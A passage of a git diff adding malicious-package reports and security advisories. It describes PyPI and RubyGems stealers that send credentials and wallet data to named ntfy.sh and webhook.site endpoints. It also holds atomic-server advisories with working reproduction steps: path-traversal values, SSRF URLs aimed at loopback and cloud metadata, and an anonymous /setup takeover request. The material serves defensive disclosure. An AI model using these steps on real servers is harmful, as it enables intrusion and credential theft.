Code"}],"indicators":{"evidence_files":[{"artifacts":["anchorpy_utils-1.98.2.tar.gz"],"path":"hxboot.py","sha256":"fc5f679e07d2f89e0fe4fc67933b65e027d0263b8e623e19166d110432a8bf8d","tlsh":"642186c3d40e1807d01d53c48c060ed836afff8860af285aabd76fc0908c2b2166b61d"},{"artifacts":["anchorpy_utils-1.98.2.tar.gz"],"path":"PKG-INFO","sha256":"849e66da819f335ec867602a724c95d938e358f3bb9a74c5e3961bcb5b7d4b21","tlsh":"daf090206e82ad76b7ab0b5a2e19723fe5b6431025c5646bccd51a9202892d9b2a2134"}],"package_integrity":[{"filename":"anchorpy_utils-1.98.2.tar.gz","hashes":{"blake2b_256":"7af26274428014ce083859f67777b3772877110230669565d1b9b6af06ff22e3","md5":"291346ca5db554a95ec121225438c2da","sha256":"4331de3f207371a7fb18e3bb037c23864f626dd666938b046f85b46d174b50d5"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/anchorpy-utils/MAL-2026-20134.json"}}],"references":[{"type":"PACKAGE","url":"https://pypi.org/project/anchorpy-utils/1.98.2/"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/anchorpy-utils"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022829","import_time":"2026-11-18T20:36:30.534815917Z","modified_time":"2026-11-18T20:29:28Z","sha256":"48c30b992653900c6116fd4df666f1eea0f5296e3be7a59c7a304ac9e165d08e","source":"amazon-inspector","versions":["1.98.2"]},{"id":"pypi/2026-11-solana-utils-terminalmoney1/anchorpy-utils","import_time":"2026-11-18T21:11:18.986627726Z","modified_time":"2026-11-18T20:42:28.240773Z","sha256":"72c4bff6f129f956ae9439d93cd494d73ee44fa81466d6517b1418208a9a50fd","source":"kam193","versions":["1.98.2"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-20135.json b/data/PyPI/MAL-2026-20135.json new file mode 100644 index 0000000000..83e6c0728f --- /dev/null +++ b/data/PyPI/MAL-2026-20135.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-20135","published":"2026-11-18T20:29:34Z","modified":"2026-11-18T21:15:03.455901013Z","summary":"Malicious code in solana-py-utils (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (dc8b7ddf366b6a8802ad0f189a30e59d76e2a9d779227ec155d7f53a6d130490)\nThe sdist's setup.py unconditionally runs the bundled hxboot.py via subprocess under the current Python interpreter during pip install. hxboot.py reads installer-owned secrets including ~/.aws/credentials, ~/.ssh/id_* keys, ~/.netrc, ~/.pypirc, ~/.npmrc, kube/docker/gh/gcloud configuration, Solana keypair files (~/.config/solana/id.json, wallet.json),.env files, and *.pem/*.key material, and scrapes environment variables matching KEY/SECRET/TOKEN/PASS/MNEM/SEED/PRIV/API/WALLET. It additionally enumerates Chromium/Chrome/Brave/Edge user profiles for the MetaMask (nkbihfbeogaeaoehlefnkodbefgpgknn), Phantom (bfnaelmomeimhlpmgjnjophhpkkoljpa), and another wallet extension (bhhhlbepdkbapadjdnnojkbgioiodbic) Local Extension Settings, and base64-encodes the leveldb.log/.ldb contents. The aggregated data is POSTed via urllib to the hardcoded topic https://ntfy.sh/hx83e33eb9. The package name mimics legitimate Solana tooling (typosquat of solana-py), and the stealer fires automatically on `pip install` on every platform that builds the sdist.\n\n## Source: kam193 (7106643886b94c7d16d9e66e601c05cc8a05bb775d75d006fcd06e733ac1892c)\nDuring installation package exfiltrates sensitive environment variables, files and data from browser extensions, focusing on cryptocurrency-related informations.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-solana-utils-terminalmoney1\n\n\nReasons (based on the campaign):\n\n\n - exfiltration-env-variables\n\n\n - exfiltration-credentials\n\n\n - exfiltration-browser-data\n\n\n - exfiltration-crypto\n\n\n - crypto-related\n\n\n - typosquatting\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.\n","affected":[{"package":{"name":"solana-py-utils","ecosystem":"PyPI","purl":"pkg:pypi/solana-py-utils"},"versions":["1.98.2","1.98.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"artifacts":["solana_py_utils-1.98.2.tar.gz"],"path":"hxboot.py","sha256":"fc5f679e07d2f89e0fe4fc67933b65e027d0263b8e623e19166d110432a8bf8d","tlsh":"642186c3d40e1807d01d53c48c060ed836afff8860af285aabd76fc0908c2b2166b61d"},{"artifacts":["solana_py_utils-1.98.2.tar.gz"],"path":"setup.py","sha256":"e3d24f43d65463ff021b32fd75e3f2c2e7fe19e3e439aae75fa403773e6f7702","tlsh":"c0f090068f032c00c3eae03c6f0216ef8ceb3b206f638c9e98e8912232887d05207220"}],"package_integrity":[{"filename":"solana_py_utils-1.98.2.tar.gz","hashes":{"blake2b_256":"c0afd8e4cd5c78547dc3a8f65011e0d46a5131792e679183d43c75d668796d40","md5":"a1a68fc4f54ca58bb15ea54001c4ae77","sha256":"810cc85d7438721ab5bb9243c0c5b2593c82e0a83a7e5fd6b2666490b675b349"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/solana-py-utils/MAL-2026-20135.json"}}],"references":[{"type":"PACKAGE","url":"https://pypi.org/project/solana-py-utils/1.98.2/"},{"type":"PACKAGE","url":"https://pypi.org/project/solana-py-utils/1.98.3/"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/solana-py-utils"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022830","import_time":"2026-11-18T20:36:30.64073955Z","modified_time":"2026-11-18T20:29:34Z","sha256":"6792d58c87bc86a313a03ceeb2d18e6bfe5666a649a93c06c16cf649069bc2e7","source":"amazon-inspector","versions":["1.98.2"]},{"id":"IN-MAL-2026-022832","import_time":"2026-11-18T20:36:30.968913499Z","modified_time":"2026-11-18T20:29:46Z","sha256":"dc8b7ddf366b6a8802ad0f189a30e59d76e2a9d779227ec155d7f53a6d130490","source":"amazon-inspector","versions":["1.98.3"]},{"id":"pypi/2026-11-solana-utils-terminalmoney1/solana-py-utils","import_time":"2026-11-18T21:11:19.007384089Z","modified_time":"2026-11-18T20:38:00.877819Z","sha256":"7106643886b94c7d16d9e66e601c05cc8a05bb775d75d006fcd06e733ac1892c","source":"kam193","versions":["1.98.2","1.98.3"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-20136.json b/data/PyPI/MAL-2026-20136.json new file mode 100644 index 0000000000..d8345a3e7c --- /dev/null +++ b/data/PyPI/MAL-2026-20136.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-20136","published":"2026-11-18T20:29:52Z","modified":"2026-11-18T21:15:03.500783304Z","summary":"Malicious code in solana-utils-terminalmoney1 (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (b58d55f9a4d2ae8d63dbba8c5b88c7fe054e48c2cac2c11cc05d41efe0d4efb9)\nThe sdist's setup.py unconditionally runs `subprocess.run([sys.executable, 'hxboot.py'])` during `pip install`, auto-executing a bundled stealer. hxboot.py reads installer secrets from `~/.env`, `~/.npmrc`, `~/.aws/credentials`, `~/.ssh/id_ed25519`, `~/.ssh/id_rsa`, `~/.config/solana/id.json`, `wallet.json`, and `keypair.json`, and scrapes environment variables matching KEY/SECRET/TOKEN/PASS/MNEM/SEED/PRIV/RPC/API/WALLET. It additionally enumerates Chrome/Chromium/Brave `Local Extension Settings` for MetaMask (extension id nkbihfbeogaeaoehlefnkodbefgpgknn) and Phantom (bfnaelmomeimhlpmgjnjophhpkkoljpa), base64-encoding `.log`/`.ldb` session/wallet files. The collected JSON blob is chunked into ~3200-byte pieces and POSTed to the hardcoded endpoint `https://ntfy.sh/hx83e33eb9`, tagged with the installer's hostname. Package metadata sets `url=https://pypi.org/project/solana-py/` and the README is titled `solana-py`, impersonating the legitimate solana-py project while the distribution name is `solana-utils-terminalmoney1`.\n\n## Source: kam193 (8b9f1e33c12c0eb5b5aefe865fa28651fa55e45a28a5d2cd4cc55c567a7e3af2)\nDuring installation package exfiltrates sensitive environment variables, files and data from browser extensions, focusing on cryptocurrency-related informations.\n\n\n---\n\nCategory: MALICIOUS - The campaign has clearly malicious intent, like infostealers.\n\n\nCampaign: 2026-11-solana-utils-terminalmoney1\n\n\nReasons (based on the campaign):\n\n\n - exfiltration-env-variables\n\n\n - exfiltration-credentials\n\n\n - exfiltration-browser-data\n\n\n - exfiltration-crypto\n\n\n - crypto-related\n\n\n - typosquatting\n\n\n - The package overrides the install command in setup.py to execute malicious code during installation.\n","affected":[{"package":{"name":"solana-utils-terminalmoney1","ecosystem":"PyPI","purl":"pkg:pypi/solana-utils-terminalmoney1"},"versions":["1.98.2","1.98.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"artifacts":["solana_utils_terminalmoney1-1.98.2.tar.gz"],"path":"hxboot.py","sha256":"fc5f679e07d2f89e0fe4fc67933b65e027d0263b8e623e19166d110432a8bf8d","tlsh":"642186c3d40e1807d01d53c48c060ed836afff8860af285aabd76fc0908c2b2166b61d"}],"package_integrity":[{"filename":"solana_utils_terminalmoney1-1.98.2.tar.gz","hashes":{"blake2b_256":"4e7b2a83e69e8b28a10e0037037d7d0250ef86bc32239d7051d3934025b188c9","md5":"af75d44ac9353b41bdf0cd821cbecb02","sha256":"0d86fe55e5d415238cd83716a62f65da4a892ad400eb8d70bc7f64fe40842e71"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/solana-utils-terminalmoney1/MAL-2026-20136.json"}}],"references":[{"type":"PACKAGE","url":"https://pypi.org/project/solana-utils-terminalmoney1/1.98.2/"},{"type":"PACKAGE","url":"https://pypi.org/project/solana-utils-terminalmoney1/1.98.3/"},{"type":"WEB","url":"https://bad-packages.kam193.eu/pypi/package/solana-utils-terminalmoney1"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022833","import_time":"2026-11-18T20:36:31.141845495Z","modified_time":"2026-11-18T20:29:52Z","sha256":"288fb4a2f4a24c5e594d11fb8eb85dd3aa6475724509c7fc044b8d86933e2659","source":"amazon-inspector","versions":["1.98.2"]},{"id":"IN-MAL-2026-022834","import_time":"2026-11-18T20:36:31.269639292Z","modified_time":"2026-11-18T20:30:00Z","sha256":"b58d55f9a4d2ae8d63dbba8c5b88c7fe054e48c2cac2c11cc05d41efe0d4efb9","source":"amazon-inspector","versions":["1.98.3"]},{"id":"pypi/2026-11-solana-utils-terminalmoney1/solana-utils-terminalmoney1","import_time":"2026-11-18T21:11:19.008031858Z","modified_time":"2026-11-18T20:36:36.8461Z","sha256":"8b9f1e33c12c0eb5b5aefe865fa28651fa55e45a28a5d2cd4cc55c567a7e3af2","source":"kam193","versions":["1.98.2","1.98.3"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"},{"name":"Kamil Mańkowski (kam193)","contact":["https://github.com/kam193","https://bad-packages.kam193.eu/"],"type":"REPORTER"}]} \ No newline at end of file diff --git a/data/RubyGems/MAL-2026-20137.json b/data/RubyGems/MAL-2026-20137.json new file mode 100644 index 0000000000..d8b7e226ea --- /dev/null +++ b/data/RubyGems/MAL-2026-20137.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-20137","published":"2026-11-18T20:26:52Z","modified":"2026-11-18T20:45:04.295129630Z","summary":"Malicious code in rechargeapps (RubyGems)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (e3adc43a1ce04c304a176f8f8861b89b99f7df1b0a4f940bdcf1274f24ff157f)\nThe gem's extension build script (run during `gem install`) reads /proc/self/environ (falling back to ENV) and POSTs it base64-encoded to the hardcoded endpoint https://webhook.site/5f869495-8820-4e0a-b759-8c61e0b0d6ce, with a second curl-based repost of /proc/self/environ to the same URL. The library entry point additionally performs a top-level Net::HTTP POST of the full process environment (ENV.to_a, base64-packed) along with pid and hostname to the same webhook.site URL every time `require 'rechargeapps'` is evaluated. The build Makefile is a no-op stub and the module body is otherwise empty, so these two network callbacks are the gem's sole behavior. The published artifact is version 999.0.0 with placeholder metadata (homepage example.com, devops@example.com), consistent with a dependency-confusion squat targeting an internal name 'rechargeapps' to capture CI and build-host environment variables (tokens, cloud keys, registry credentials) at install and load time.\n","affected":[{"package":{"name":"rechargeapps","ecosystem":"RubyGems","purl":"pkg:gem/rechargeapps"},"versions":["999.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"ext/rechargeapps/extconf.rb","sha256":"e9d9b120c85097d2bc38f4c44652d213b045515dacff5b0416db8040998673c9","tlsh":"200112f3b2105c25df94c39c310d984dba33f308818d2c54e6704990e69462b723ac91"},{"path":"lib/rechargeapps.rb","sha256":"8cf75924a5e3cfefac0cb4c3989552e550b1ae0559048ea0b39b473edddafad5","tlsh":"e6f0c0ebb2d80415dbd0d3d8716d6e4a6e77d218414d1c54f53041d46a8ce35233a8a0"},{"path":"metadata.yaml","sha256":"7a23c36becbab60b073774efd2022d51ae35c9432dd65a64ec9662ebc4e89551","tlsh":"7011ab8076c6e47af001dbea88002707f3b2d55dbfe6290299a7c3d203c453e274f161"}],"package_integrity":[{"filename":"rechargeapps-999.0.0.gem","hashes":{"sha256":"5fae55c59bdb2194b6987a78bdf0d14a77bea9d246d32a68f5f7482658f97842"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/rubygems/rechargeapps/MAL-2026-20137.json"}}],"references":[{"type":"PACKAGE","url":"https://rubygems.org/gems/rechargeapps/versions/999.0.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022827","import_time":"2026-11-18T20:36:30.194658081Z","modified_time":"2026-11-18T20:26:52Z","sha256":"e3adc43a1ce04c304a176f8f8861b89b99f7df1b0a4f940bdcf1274f24ff157f","source":"amazon-inspector","versions":["999.0.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]} \ No newline at end of file diff --git a/data/crates.io/GHSA-8vc4-8hjq-988p.json b/data/crates.io/GHSA-8vc4-8hjq-988p.json new file mode 100644 index 0000000000..1a4c835619 --- /dev/null +++ b/data/crates.io/GHSA-8vc4-8hjq-988p.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-8vc4-8hjq-988p","published":"2026-11-18T20:42:15Z","modified":"2026-11-18T21:00:39.419615262Z","aliases":["CVE-2026-69156"],"summary":"Atomic Server: Arbitrary file read via user-controlled `internalId` in the `/download` handler (leaks root agent private key)","details":"## Summary\n\nThe Commit apply path enforces **no allowlist of writable properties**, so any authenticated Agent can set the `internalId` string (datatype `string`, no character validation) on a resource it owns. The `/download` handler then uses that value **verbatim** as a filesystem path — `file_path.push(internal_id); NamedFile::open(file_path)` — with **no sanitization and no containment check** (`server/src/handlers/download.rs:56-65`). By setting `internalId` to a traversal path (`../../../../etc/passwd`) or an absolute path (`PathBuf::push` of an absolute path replaces the buffer), an attacker reads **any file on the host**. The highest-value target is the server config file storing the **root agent private key**, which yields full server compromise. Only the *upload* path sanitizes filenames (`sanitize_filename`); the *download* path trusts the stored value. The handler also never checks that the resource is a `File`.\n\n## Affected component\n\n- `server/src/handlers/download.rs:56-65` — `file_path.push(internal_id)` + `NamedFile::open`, no sanitization, no `File`-class check.\n- `lib/src/commit.rs` (`apply_changes`) — sets any property; no server-managed-property denylist.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a parent (self-signup, or via the `/setup` issue reported separately).\n\n1. Create a resource and set `internalId` to a traversal path — sign the Commit and `POST /commit` (200):\n\n```\nsubject = http://localhost:9883/pwnfile\nset = {\n \"https://atomicdata.dev/properties/parent\": \"http://localhost:9883\",\n \"https://atomicdata.dev/properties/internalId\": \"../../../../../../../../etc/passwd\"\n}\n```\n\n2. Download it. The auth signature is over the **resolved subject** (the server strips the `/download` prefix → `http://localhost:9883/pwnfile`):\n\n```http\nGET /download/pwnfile HTTP/1.1\nHost: localhost:9883\nx-atomic-public-key: \nx-atomic-agent: http://localhost:9883/agents/\nx-atomic-timestamp: \nx-atomic-signature: \")>\n```\n\nResponse `200 OK` returns the host `/etc/passwd`:\n\n```\nroot:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\n...\n```\n\n3. Escalate — set `internalId = /atomic-storage/config/config.toml` (absolute path) and download again:\n\n```toml\nserver = \"http://localhost:9883\"\nagent = \"http://localhost:9883/agents/+/KwsAmyzc7S/...\"\nprivate_key = \"REDACTED-ROOT-ED25519-PRIVATE-KEY\" # server root agent key\n```\n\n4. Using the stolen key, the attacker signs a Commit with `signer = ` → `POST /commit` (200) edits data **as root**. Full compromise.\n\n**Expected:** `internalId` treated as a server-managed property and/or `/download` canonicalizes and confines the path to `uploads_path`.\n**Actual:** Arbitrary host file read, including the root private key.\n\n## Impact\n\nArbitrary file read as the server process: `/etc/passwd`, env, TLS keys, the sled DB, K8s service-account tokens, and the **root agent private key** → root impersonation → full read/write/delete of all data. Only a standard account is needed.\n\n## Remediation\n\n- In `download.rs`: `sanitize_filename(internal_id)`, then `canonicalize` and assert the resolved path stays within `uploads_path` before opening; verify the resource is a `File`.\n- Add a server-managed-property denylist (`internalId`, rights arrays, etc.) in `lib/src/commit.rs` so clients cannot set them.","affected":[{"package":{"name":"atomic-server","ecosystem":"crates.io","purl":"pkg:cargo/atomic-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.30.0"},{"last_affected":"0.40.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-8vc4-8hjq-988p/GHSA-8vc4-8hjq-988p.json"}}],"references":[{"type":"WEB","url":"https://github.com/ontola/atomic-server/security/advisories/GHSA-8vc4-8hjq-988p"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69156"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/commit/59d067c797c946b839c9101fedff4c40171c0c61"},{"type":"PACKAGE","url":"https://github.com/ontola/atomic-server"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/releases/tag/v0.40.3"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T20:42:15Z","nvd_published_at":"2026-11-17T21:18:12Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/GHSA-ff87-73jp-f3v4.json b/data/crates.io/GHSA-ff87-73jp-f3v4.json new file mode 100644 index 0000000000..b01791de41 --- /dev/null +++ b/data/crates.io/GHSA-ff87-73jp-f3v4.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-ff87-73jp-f3v4","published":"2026-11-18T20:42:50Z","modified":"2026-11-18T21:00:39.416021960Z","aliases":["CVE-2026-69158"],"summary":"Atomic Server: Unauthenticated full-response SSRF in Atomic-Server /bookmark endpoint","details":"## Summary\n\nAtomic-Server exposes a `GET /bookmark` endpoint that fetches an attacker-supplied URL server-side, parses the response, and reflects the fetched content back to the caller. The endpoint requires no authentication and performs no authorization of its own, and the underlying fetch helper applies no allow-list or private-IP deny-list. An unauthenticated attacker with network reach to the server can force it to issue arbitrary outbound HTTP GET requests to internal-only hosts (loopback services, internal admin panels, link-local cloud-metadata) and read the response body back. This is a full-response SSRF, not a blind one.\n\n## Root cause (source trace)\n\n1. The bookmark endpoint is registered unconditionally for every server: `server/src/appstate.rs:69` (`store.add_endpoint(plugins::bookmark::bookmark_endpoint())`).\n2. An unauthenticated caller on the standard GET route becomes `ForAgent::Public`: `server/src/helpers.rs:168-183` (`get_client_agent`).\n3. In `get_resource_extended`, when the subject matches an endpoint path the function returns via `call_endpoint` BEFORE the `hierarchy::check_read` authorization call: `lib/src/db.rs:1010-1017` (`if is_endpoint { return self.call_endpoint(...) }`, and `check_read` sits just after at :1017, never reached).\n4. `call_endpoint` performs no authorization itself; it only matches the path and invokes the handler: `lib/src/db.rs:662-706`.\n5. The bookmark handler discards the caller (`for_agent: _`) and fetches the `url` query parameter directly: `server/src/plugins/bookmark.rs:45-76` (`let content = fetch_data(&path)?;`).\n6. `fetch_body` validates only `url.starts_with(\"http\")`: `lib/src/client/helpers.rs:78-91`. A repo-wide grep finds no `is_loopback` / `is_private` / `127.0.0.1` / `169.254` / `localhost` deny-list anywhere in `lib/src` or `server/src`, and no host allow-list.\n7. The fetched body is HTML-parsed and written into the resource `name`, `description`, `image` and `preview` (markdown) fields, which are returned to the caller: `server/src/plugins/bookmark.rs:79-110`. This is what makes it a full-response (not blind) SSRF; even plaintext internal responses are wrapped into the preview markdown.\n\n## Proof of concept (unauthenticated)\n\n```\nGET /bookmark?url=http://127.0.0.1:/&name=x # internal loopback service\nGET /bookmark?url=http://169.254.169.254/latest/meta-data/&name=x # IMDSv1 cloud metadata\n```\n\nNo authentication headers. The returned resource reflects the fetched content in its `name` / `description` / `preview` fields, so the attacker reads the internal target's response body.\n\n## Proof of omission\n\nThe endpoint-dispatch path returns at `lib/src/db.rs:1011` (`return self.call_endpoint(...)`) before the `check_read` call at `:1017`, and there is no authorization inside `call_endpoint` (`:662-706`). The handler discards the caller (`for_agent: _`, `bookmark.rs:49`), so the endpoint can never enforce per-agent access. `fetch_body` validates only `url.starts_with(\"http\")` (`helpers.rs:83`); no loopback/private/link-local deny-list exists anywhere in the source. No corresponding SSRF/security entry exists in CHANGELOG.md.\n\n## Impact\n\nAn unauthenticated attacker with network reach to the server can:\n- read internal-only HTTP services not exposed to the internet (admin panels, dashboards, unauthenticated microservices on loopback or the private network);\n- read cloud metadata reachable via plain GET (IMDSv1 and similar), enabling potential credential disclosure in affected deployments;\n- enumerate internal services / ports from the server's vantage point via differing timeout/error behaviour.\n\nBecause the response body is reflected, this is a high-value full-response SSRF. The only precondition is network reach to the server.\n\nSeverity: High, CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N = 8.6.\n\nHonest caveats (do not refute the finding): the `ureq` client uses a 2-second timeout, which limits slow targets; AWS IMDSv2 requires a PUT token, so plain GET metadata retrieval may fail there. IMDSv1 and any internal HTTP service or admin panel that answers a plain GET remain fully reachable and reflected.\n\n## Remediation\n\nAdd a central SSRF guard inside `fetch_body` (`lib/src/client/helpers.rs`): resolve the target host and reject loopback, link-local, RFC1918 private, CGNAT and unique-local ranges, and reject non-http(s) schemes. Re-validate after DNS resolution (to prevent DNS-rebinding) and after each redirect hop. Enforce authorization on endpoint dispatch: run `check_read` (or a per-endpoint policy) for outbound-fetching endpoints instead of short-circuiting before it at `lib/src/db.rs:1010-1012`, and at minimum require an authenticated, authorized agent for `/bookmark`. Optionally add an operator-configurable allow-list of fetchable hosts.\n\n## Dedup\n\n- atomicdata-dev/atomic-server GitHub Security Advisories: no published advisories (re-verified 2026-07-03). No CVE/GHSA for atomic-server SSRF / the /bookmark endpoint.\n- Source re-verified on current `develop` 2026-07-03: the handler still discards the caller (`for_agent: _`) and calls `fetch_data(url)`, and `fetch_body` still validates only `url.starts_with(\"http\")` with no private-IP deny-list (still vulnerable).\n\n## Credit / disclosure\n\nReported by Ray Sabee, Whitehat Security (https://whitehatsecurity.nl/), GitHub @raysabee. Please credit \"Ray Sabee / Whitehat Security / whitehatsecurity.nl\" on the advisory and in any release notes. Coordinated disclosure: nothing will be published before a fix is available.\n\nNote: two related findings exist in the same repo and can be handled in this advisory or alongside it: F-ATOMIC-SSRF-002 (a blind pre-auth SSRF in `POST /import` via the SAME `fetch_body` root cause, so one central fix covers both) and F-ATOMIC-LFI-001 (authenticated path-traversal file read in `GET /download`, a separate sink in `download.rs`).","affected":[{"package":{"name":"atomic-server","ecosystem":"crates.io","purl":"pkg:cargo/atomic-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.40.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-ff87-73jp-f3v4/GHSA-ff87-73jp-f3v4.json"}}],"references":[{"type":"WEB","url":"https://github.com/ontola/atomic-server/security/advisories/GHSA-ff87-73jp-f3v4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69158"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/commit/006ff290f7ec976c8cbafdceb7b6899389abd5be"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/commit/2d4535fcd84761288027616505cc61abdf05bc50"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/commit/e7f551d385045708240ca56889d1334a39349735"},{"type":"PACKAGE","url":"https://github.com/ontola/atomic-server"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/releases/tag/v0.40.3"}],"database_specific":{"cwe_ids":["CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T20:42:50Z","nvd_published_at":"2026-11-17T21:18:12Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N"}]} \ No newline at end of file diff --git a/data/crates.io/GHSA-pfwx-xjp4-qxcj.json b/data/crates.io/GHSA-pfwx-xjp4-qxcj.json new file mode 100644 index 0000000000..5c861f5433 --- /dev/null +++ b/data/crates.io/GHSA-pfwx-xjp4-qxcj.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"GHSA-pfwx-xjp4-qxcj","published":"2026-11-18T20:42:33Z","modified":"2026-11-18T21:00:39.416403578Z","aliases":["CVE-2026-69157"],"summary":"Atomic Server: Unauthenticated `/setup` invite grants write access to the entire Drive","details":"## Summary\n\natomic-server provisions a well-known invite at `{server}/setup` with `write = true`, `target` = the Drive root, and `usagesLeft = 1`. Invite redemption **ignores the redeemer's identity** (`for_agent: _` in `server/src/plugins/invite.rs:22`), so possession of the URL is the only requirement. An **unauthenticated** attacker who sends `GET /setup?public-key=` has the server create a new Agent and grant it **write access to the entire Drive**. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.\n\n## Severity\n\n**Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8).** No authentication required; grants attacker-controlled write over all resources in the Drive.\n\n## Affected component\n\n- `server/src/appstate.rs` — creates the `/setup` invite targeting the Drive root with `write=true`, `usagesLeft=1`.\n- `server/src/plugins/invite.rs:14-173` — `construct_invite_redirect` destructures `for_agent: _` (redeemer identity discarded); `?public-key=` → `Agent::new_from_public_key` → `add_rights(agent, target, write=true)`.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop` in Docker, `http://localhost:9883`, fresh store. No auth headers are used.\n\n1. Confirm the invite is live — `GET /setup` (Accept: `application/ad+json`) shows `invite/write = true`, `invite/target = http://localhost:9883` (Drive root), `usagesLeft = 1`.\n\n2. Redeem it anonymously with an attacker-generated ed25519 public key:\n\n```http\nGET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1\nHost: localhost:9883\nAccept: application/ad+json\n```\n\nResponse `200 OK` returns a `Redirect` confirming the new agent:\n\n```json\n{\n \"https://atomicdata.dev/properties/invite/redirectAgent\":\n \"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=\",\n \"https://atomicdata.dev/properties/isA\": [\"https://atomicdata.dev/classes/Redirect\"]\n}\n```\n\n3. `GET /` shows the attacker is now in the Drive's `write` array:\n\n```json\n\"https://atomicdata.dev/properties/write\": [\n \"http://localhost:9883/agents/+/KwsAmyzc7S/...\", // legit root\n \"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=\" // ATTACKER\n]\n```\n\n4. The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and `POST /commit` (200) — the Drive root was successfully edited. Write access proven.\n\n**Expected:** `/setup` must require operator authentication / a one-time secret.\n**Actual:** Any unauthenticated client on the network redeems it and gains Drive-wide write.\n\n## Impact\n\nUnauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.)\n\n## Remediation\n\n- Require a one-time secret (printed to stdout at startup) or operator authentication to redeem `/setup`.\n- Invalidate `/setup` after first use with an **atomic** `usagesLeft` decrement (sled transaction) — the current read-check-decrement is a TOCTOU that allows a single-use invite to be redeemed multiple times concurrently.\n- Fix the inverted invite-expiry check in `invite.rs` (`if expires > now { reject }` is backwards, so 